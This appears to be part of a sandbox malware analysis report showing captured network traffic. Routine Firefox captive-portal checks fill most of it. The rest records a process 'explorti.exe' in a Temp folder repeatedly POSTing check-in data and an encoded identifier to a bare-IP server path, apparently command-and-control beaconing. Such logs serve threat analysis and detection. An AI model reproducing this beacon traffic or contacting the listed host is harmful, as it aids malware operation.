Jul 26, 2024 13:49:56.843259096 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62457 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:49:57.532892942 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:49:57.630044937 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62458 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:49:58.412060976 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:49:58.508258104 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62459 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:49:59.818399906 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:49:59.915860891 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62460 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:09.920979977 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:50:14.088758945 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:14.187248945 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62475 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:17.266392946 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:17.365051031 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62478 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:17.799614906 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:17.928051949 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62478 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:18.110759974 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:18.207997084 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62479 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:18.349020958 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:18.446331978 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62479 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:18.537579060 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:18.635293007 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62479 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:19.527281046 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:19.624937057 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62480 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:20.917228937 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:21.037760973 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62481 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:30.401359081 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:30.498022079 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62491 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:50:40.531936884 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:50:50.637603998 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:50:50.901215076 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:50:51.011013985 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62511 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:51:01.020334005 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:11.126200914 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:21.427536964 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:31.527025938 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:31.692837000 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:51:31.789339066 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62552 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:51:41.830127001 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:51.933490038 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:52:02.034709930 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:52:19.126223087 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:52:19.280894995 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62600 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:52:19.653177977 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:52:19.767839909 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62600 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:52:52.392330885 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:52:52.490062952 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62633 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	59110	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:52.216731071 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:52.987541914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:52.992027998 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:53.245160103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	59112	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:53.354269028 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:54.096273899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:54.110048056 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:54.361824989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	59113	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:54.484730959 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:55.260298014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:55.261048079 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:55.511348963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	59114	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:55.622551918 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:56.373199940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
